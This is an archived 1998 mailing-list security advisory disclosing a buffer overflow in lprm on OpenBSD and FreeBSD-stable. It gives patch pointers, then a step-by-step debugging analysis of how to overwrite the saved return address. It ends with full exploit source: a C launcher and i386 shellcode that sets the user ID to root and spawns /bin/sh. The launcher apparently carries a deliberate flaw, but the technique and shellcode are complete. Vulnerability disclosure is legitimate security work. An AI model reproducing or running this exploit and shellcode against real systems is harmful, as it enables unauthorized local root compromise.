Vulnerability in OpenBSD, FreeBSD-stable lprm.

From: Niall Smart (rotelat_private)
Date: Wed Apr 22 1998 - 20:33:39 PDT

  • Next message: Kyle McLerren: "Linux possible problem?"

    Synopsis
    --------
    
    lprm in OpenBSD and FreeBSD-stable gives a root shell under
    the following conditions:
    
    * You have a remote printer configured in /etc/printcap.  (i.e. a
      printer with a non-null "rm" capability.)
    
    * The length of the attacker's username plus the length of the "rp"
      capability for the remote printer is >= 7.  If there is no explicit
      "rp" capability specified then the system will use the default, which
      has length 2, meaning that the attacker's username must be >= 5
      characters long in this case.
    
    * The hostname of the remote printer (i.e. the "rm" capability)
      resolves, and neither the canonical name returned for the host
      nor any of its aliases match the local hostname.  (i.e. it will
      not work if the "rm" capability points back at the local machine,
      which would be indicative of misconfiguration anyway)
    
    
    Notes
    -----
    
    * It is not strictly necessary for the lpd daemon to be
      running on the remote or local host for the exploit to work.
    
    * This vulnerability is not present in FreeBSD-current or NetBSD-current.
    
    * Patches to fix this vulnerability have been applied to the OpenBSD
      and FreeBSD-stable source tree's in the last few hours.  Obtain
      the latest version of the file:
    
             /src/usr.sbin/lpr/common_source/rmjob.c
    
      and recompile the lpr subsystem to protect yourself against this
      attack.  See www.openbsd.org/security.html and www.freebsd.org
      for details.
    
    
    Details
    -------
    
    lprm allows a user to remove all his jobs on a print queue by
    passing his username as an argument to lprm, e.g. "lprm -P PRINTER
    bloggs".  Only root is allowed to specify usernames other than his
    own.  Passing your own username more than once (as in "lprm -P
    PRINTER bloggs bloggs") is allowed, but redundant.  The user(s)
    specified are stored in a global array called `user'.
    
    If the printer specified is a remote printer then lprm connects to
    the remote lpd daemon and sends it a message of the form
    "\5 XX USER1 USER2 ...\n" where XX is the "rp" capability of the
    remote printer, or the string "lp" if this capability has not been
    specified and USERN are the users from the command line.
    
    This happens in rmremote() of rmjob.c:
    
       317  void
       318  rmremote()
       319  {
       320          register char *cp;
       321          register int i, rem;
       322          char buf[BUFSIZ];
       323          void (*savealrm)(int);
       324
       325          if (!remote)
       326                  return; /* not sending to a remote machine */
       327
       328          /*
       329           * Flush stdout so the user can see what has been deleted
       330           * while we wait (possibly) for the connection.
       331           */
       332          fflush(stdout);
       333
       334          (void)snprintf(buf, sizeof(buf), "\5%s %s", RP, all ? "-all" : person);
       335          cp = buf;
       336          for (i = 0; i < users && cp-buf+1+strlen(user[i]) < sizeof(buf); i++) {
       337                  cp += strlen(cp);
       338                  *cp++ = ' ';
       339                  strcpy(cp, user[i]);
       340          }
    
    The problem lies on lines 334-335.  Note that a string is snprintf()'ed
    into buf and then cp is initialised to point at the beginning of
    the buffer.  Therefore on the first iteration around the loop on
    line 336 cp - buf = 0.  This means that we can pass a string of
    length up to length sizeof(buf) - 1 - 1 = 1022 in user[0] (which
    is the first user on the command line).
    
    In the loop, cp is advanced by the length of the string it points
    to plus one character.  On the first iteration this is P + 3
    characters where P = strlen(RP) + strlen(person)  (RP is the "rp"
    capability for the printer (default: "lp"), person is your username)
    Then the contents of user[i] is appended to cp.
    
    If we pass a string of length 1022 characters in user[0] then the
    buffer will be overflowed by (1022 + P + 3 + 1) - 1024 = P + 2
    bytes (including the terminating '\0') on the first iteratation of
    the loop.  If RP = "lp" (the default) this means that the user
    bloggs can overflow by 10 bytes, the last of which will be a null
    byte.
    
    So, is this useful for bloggs?  Looking at the source it would
    appear not, there are three doubleword sized variables (cp, i and
    rem = 12 bytes) declared before buf, meaning he can't get to the
    saved EIP with his 10 byte overflow, and there doesn't seem to be
    any way to get what we want from manipulating these variables.
    Note that if the programmer had declared the function pointer
    savealrm before the buffer then we could "restore" the SIGALRM
    handler to an arbitrary location.
    
    But -- those three variables are declared with the register
    attribute!!!  For the uninitiated, this is a hint to the compiler
    to place those variables in a register if possible for speed of
    access.  Assuming the compiler can do this, it also has the side
    effect of not requiring the compiler to allocate memory for the
    variable if its address is not taken.  A quick look through the
    rest of the source for rmremote() shows that their address is not
    taken -- things are looking up!  Lets compile our own static
    version of lprm with debugging on using the same optimisation flags
    as the system Makefile and look at the assembly produced to see
    where the compiler puts cp, i and rem.
    
      $ make lprm CFLAGS="-g -static"
      $ gdb lprm
      (gdb) x/5i rmremote
      0x2464 <rmremote>:      pushl  %ebp
      0x2465 <rmremote+1>:    movl   %esp,%ebp
      0x2467 <rmremote+3>:    subl   $0x408,%esp
      0x246d <rmremote+9>:    pushl  %edi
      0x246e <rmremote+10>:   pushl  %esi
      (gdb) p 0x408
      $3 = 1032
    
    So, it allocates 1032 bytes on the stack, presumably this is composed
    of one of cp, i and rem, then the 1024 byte buffer and then savealrm.
    This would means that bloggs can overflow the saved EBP, and even
    write up to two bytes to the saved EIP. (the last of which would be
    NULL) Unfortunately this is useless on the Intel i386 because the
    MSB(yte) of the EIP is located highest on the stack meaning we can
    only influence the two LSBs of the the EIP and since our buffer
    is located up at the top of the address space we need the MSB of
    the saved EIP to look like 0xFF or 0xEF and it is probably 0x00
    since rmremote would have been called from the text segment which
    is located at the bottom of the address space.  On a big endian
    machine we *might* have been able to do something with this, but it
    would not have been easy.
    
    However, God is on our side again, looking down further through
    the asm we notice that gcc has actually allocated the buffer at
    $esp - 1024.  Look at the pushing of the arguments for the call
    to snprintf:
    
      (gdb) x/11i
      0x1fbc <rmremote+72>:   movl   $0x1550,%eax
      0x1fc1 <rmremote+77>:   pushl  %eax
      0x1fc2 <rmremote+78>:   movl   0x3ea88,%eax
      0x1fc7 <rmremote+83>:   pushl  %eax
      0x1fc8 <rmremote+84>:   pushl  $0x1f3a
      0x1fcd <rmremote+89>:   pushl  $0x400
      0x1fd2 <rmremote+94>:   leal   0xfffffc00(%ebp),%eax
      0x1fd8 <rmremote+100>:  pushl  %eax
      0x1fd9 <rmremote+101>:  call   0x21630 <snprintf>
      (gdb) p -(~0xfffffc00 + 1)
      $2 = -1024
    
    This means that we only need a nine byte overflow!  (9 = 4 for
    saved EBP + 4 for saved EIP + 1 null terminating '\0' which must
    not be in saved EIP)  I'm not sure why gcc has allocated the
    variables in this way, but who's complaining? :)
    
    Lets just check that we have done our sums right before moving on
    to write the exploit: where do we put the bytes into user[0] so
    that they overwrite the EIP?  Well, writing 1028 bytes into
    buf leaves us just before the EIP, to write this many bytes we
    put 1028 - (P + 3) bytes in user[0], the (P + 3) comes from
    the data already placed in the buffer by the snprintf.
    
    For the user bloggs on a system where RP = "lp", P = 8.  Lets check
    this out on our own system: (copy lprm to get it to core dump)
    
      $ id -un
      bloggs
      $ cp /usr/bin/lprm /tmp
      $ /tmp/lprm -P remote `perl -e '
      > print "A" x (1028 - 8 - 3);
      > printf("%c%c%c%c", 0xEF, 0xBE, 0xAD, 0xDE);
      > '`
      connection to remote is down
      zsh: segmentation fault (core dumped)  /tmp/lprm -P remote
      $ gdb --quiet lprm /tmp/lprm.core
      Core was generated by `lprm'.
      Program terminated with signal 11, Segmentation fault.
      #0  0xdeadbeef in ?? ()
      (gdb)
    
    Bang on.
    
    
    Exploit
    -------
    
    [ Its all pretty much plain sailing from here on, the main reason
    for this section is to demonstrate the leeto method of getting the
    shellcode that I haven't seen used before. :) ]
    
    Just before the "ret" at the end of rmremote() we want the stack
    to look like this:
    
                    +-----------+
            ESP  -> |    egg    |   --------\
                    +-----------+           |
                    |   space   |           |
                    |   space   |           |
                    |   space   |           |
                    +-----------+           |
                    |           |           |
                    |           |           |
                    \ shellcode \           |
                    |           |           |
                    |           |           |
                    +-----------+           |
                    |    nop    |           |
                    |    nop    |   <<------/
                    |           |
    
    The ret instruction pops the egg off into the EIP which will
    hopefully then point somewhere in the nops causing the CPU to chase
    up the stack to the shellcode.  The shellcode itself is a fairly
    standard affair, it performs a seteuid(0), setuid(0),
    exit(execve("/bin/sh", { "sh", 0 }, 0)) using the standard tricks
    of xoring and subtraction of negative values to get/avoid null
    bytes and a call/ret to obtain the value of the EIP so it can locate
    the address of the "shAA/bin/shBCCCCDDDD" string.  The neeto bit
    is that the shellcode is left in source form, the assembler generates
    a label for the beginning and end of the generated code so we can
    just memcpy the machine language representation into the buffer.
    This makes it easier to change and test the shellcode as you go,
    makes the exploit more easily portable and avoids the tedious task
    of hexdumping the instructions.
    
    As discussed before, the egg is placed at user[1028 - P - 3], we
    want the shellcode to be as near the top as possible, but we need
    to leave 12 bytes for the 4 pushl instructions in the shell
    code as the ESP will be equal to &egg + 4 when we enter the
    shellcode.  (only 12 bytes because the first push goes onto the egg)
    This means we memcpy the shellcode into &user[1028 - P - 3 - 12 - SCSZ]
    where SCSZ is the size of the shell code.
    
    The code is appended to this file. To compile:
    
       cc lprm-bsd.c shellcode.S -o lprm-bsd
    
    
    Thanks
    ------
    
    Special thanks to sdr and figz for letting me debug a problem with
    the exploit on OpenBSD.  After 8 grueling hours I eventually traced
    the problem to the fact that char c = 0x90; isdigit(c) equals 0 on
    FreeBSD, and >0 on OpenBSD.  Life sucks.  Use isascii().
    
    <RANT>
    This exploit serves to point out that code auditing is no "silver
    bullet" when it comes to system security.  The original patch made
    to rmjob.c was audited by three people from the OpenBSD and FreeBSD
    projects and yet the problem still remained.  This is not a reflection
    on the abilities of the code auditors but rather on the difficulty
    of fully understanding and safely writing code which manages memory
    allocation at the byte level.
    </RANT>
    
    
    Niall Smart, njs3at_private
    
    
    /*
       lprm-bsd.c - Exploit for lprm vulnerability in
                    OpenBSD and FreeBSD-stable
    
       k0ded by Niall Smart, njs3at_private, 1998.
    
       The original version of this file contains a blatant error
       which anyone who is capable of understanding C will be able
       to locate and remove.  Please do not distribute this file
       without this idiot-avoidance measure.
    
       Typical egg on FreeBSD: 0xEFBFCFDF
       Typical egg on OpenBSD: 0xEFBFD648
    
       The exploit might take a while to drop you to a root shell
       depending on the timeout ("tm" capability) specified in the
       printcap file.
    */
    
    #include <sys/types.h>
    #include <pwd.h>
    #include <err.h>
    #include <stdio.h>
    #include <stdlib.h>
    #include <string.h>
    #include <unistd.h>
    
    extern void     BEGIN_SC();
    extern void     END_SC();
    
    int
    main(int argc, char** argv)
    {
            char            buf[4096];
            struct passwd*  pw;
            char*           cgstr;
            char*           cgbuf;
            char*           printer;
            char*           printcaps[] = { "/etc/printcap", 0 };
            int             sc_size;  /* size of shell code */
            int             P;        /* strlen(RP) + strlen(person) */
            unsigned        egg;      /* value to overwrite saved EIP with */
    
            if (argc != 3) {
                    fprintf(stderr, "usage: %s <printername> <egg>\n", argv[0]);
                    exit(0);
            }
    
            if ( (pw = getpwuid(getuid())) == NULL)
                    errx(1, "no password entry for your user-id");
    
            printer = argv[1];
            egg = (unsigned) strtoul(argv[2], NULL, 0);
    
            if (cgetent(&cgstr, printcaps, printer) < 0)
                    errx(1, "can't find printer: %s", printer);
    
            if (cgetstr(cgstr, "rm", &cgbuf) < 0 || cgbuf[0] == '\0')
                    errx(1, "printer is not remote: %s", printer);
    
            if (cgetstr(cgstr, "rp", &cgbuf) < 0)
                    cgbuf = "lp";
    
            sc_size = (char*) END_SC - (char*) BEGIN_SC;
    
            /* We can append 1022 bytes to whatever is in the buffer.
               We need to get up to 1032 bytes to reach the saved EIP,
               so there must be at least 10 bytes placed in the buffer
               by the snprintf on line 337 of rmjob.c and the subsequent
               *cp++ = '\0';  3 = ' ' + ' ' + '\5' */
    
            if ( (P = (strlen(pw->pw_name) + strlen(cgbuf))) < 7)
                    errx(1, "your username is too short");
    
            fprintf(stderr, "P = %d\n", P);
            fprintf(stderr, "shellcode = %d bytes @ %d\n", sc_size, 1028 - P - 3 - 12 - sc_size);
            fprintf(stderr, "egg = 0x%X@%d\n", egg, 1028 - P - 3);
    
            /* fill with NOP */
            memset(buf, 0x90, sizeof(buf));
            /* put letter in first byte, this fucker took me eight hours to debug. */
            buf[0] = 'A';
            /* copy in shellcode, we leave 12 bytes for the four pushes before the int 0x80 */
            memcpy(buf + 1028 - P - 3 - 12 - sc_size, (void*) BEGIN_SC, sc_size);
            /* finally, set egg and null terminate */
            *((int*)&buf[1028 - P - 3]) = egg;
            buf[1022] = '\0';
    
            memset(buf, 0, sizeof(buf));
    
            execl("/usr/bin/lprm", "lprm", "-P", printer, buf, 0);
    
            fprintf(stderr, "doh.\n");
    
            return 0;
    }
    
    
    /*
       shellcode.S - generic i386 shell code
    
       k0d3d by Niall Smart, njs3at_private, 1998.
       Please send me platform-specific mods.
    
       Example use:
    
            #include <stdio.h>
            #include <string.h>
    
            extern void     BEGIN_SC();
            extern void     END_SC();
    
            int
            main()
            {
                    char    buf[1024];
    
                    memcpy(buf, (void*) BEGIN_SC, (long) END_SC - (long) BEGIN_SC);
    
                    ((void (*)(void)) buf)();
    
                    return 0;
            }
    
        gcc -Wall main.c shellcode.S -o main && ./main
    */
    
    
    #if defined(__FreeBSD__) || defined(__OpenBSD__)
    #define EXECVE          3B
    #define EXIT            01
    #define SETUID          17
    #define SETEUID         B7
    #define KERNCALL        int $0x80
    #else
    #error This OS not currently supported.
    #endif
    
    #define _EXECVE_A       CONCAT($0x555555, EXECVE)
    #define _EXECVE_B       CONCAT($0xAAAAAA, EXECVE)
    #define _EXIT_A         CONCAT($0x555555, EXIT)
    #define _EXIT_B         CONCAT($0xAAAAAA, EXIT)
    #define _SETUID_A       CONCAT($0x555555, SETUID)
    #define _SETUID_B       CONCAT($0xAAAAAA, SETUID)
    #define _SETEUID_A      CONCAT($0x555555, SETEUID)
    #define _SETEUID_B      CONCAT($0xAAAAAA, SETEUID)
    
    #define CONCAT(x, y)    CONCAT2(x, y)
    #define CONCAT2(x, y)   x ## y
    
    .global         _BEGIN_SC
    .global         _END_SC
    
                    .data
    _BEGIN_SC:      jmp 0x4                 // jump past next two isns
                    movl (%esp), %eax       // copy saved EIP to eax
                    ret                     // return to caller
                    xorl %ebx, %ebx         // zero ebx
                    pushl %ebx              // sete?uid(0)
                    pushl %ebx              // dummy, kernel expects extra frame pointer
                    movl _SETEUID_A, %eax   //
                    andl _SETEUID_B, %eax   // load syscall number
                    KERNCALL                // make the call
                    movl _SETUID_A, %eax    //
                    andl _SETUID_B, %eax    // load syscall number
                    KERNCALL                // make the call
                    subl $-8, %esp          // push stack back up
                    call -40                // call, pushing addr of next isn onto stack
                    addl $53, %eax          // make eax point to the string
                    movb %bl, 2(%eax)       // append '\0' to "sh"
                    movb %bl, 11(%eax)      // append '\0' to "/bin/sh"
                    movl %eax, 12(%eax)     // argv[0] = "sh"
                    movl %ebx, 16(%eax)     // argv[1] = 0
                    pushl %ebx              // push envv
                    movl %eax, %ebx         //
                    subl $-12, %ebx         // -(-12) = 12, avoid null bytes
                    pushl %ebx              // push argv
                    subl $-4, %eax          // -(-4) = 4, avoid null bytes
                    pushl %eax              // push path
                    pushl %eax              // dummy, kernel expects extra frame pointer
                    movl _EXECVE_A, %eax    //
                    andl _EXECVE_B, %eax    // load syscall number
                    KERNCALL                // make the call
                    pushl %eax              // push return code from execve
                    pushl %eax              //
                    movl _EXIT_A, %eax      // we shouldn't have gotten here, try and
                    andl _EXIT_B, %eax      // exit with return code from execve
                    KERNCALL                // JERONIMO!
                    .ascii "shAA/bin/shBCCCCDDDD"
                    //      01234567890123456789
    _END_SC:
    



    This archive was generated by hypermail 2b30 : Fri Apr 13 2001 - 13:50:53 PDT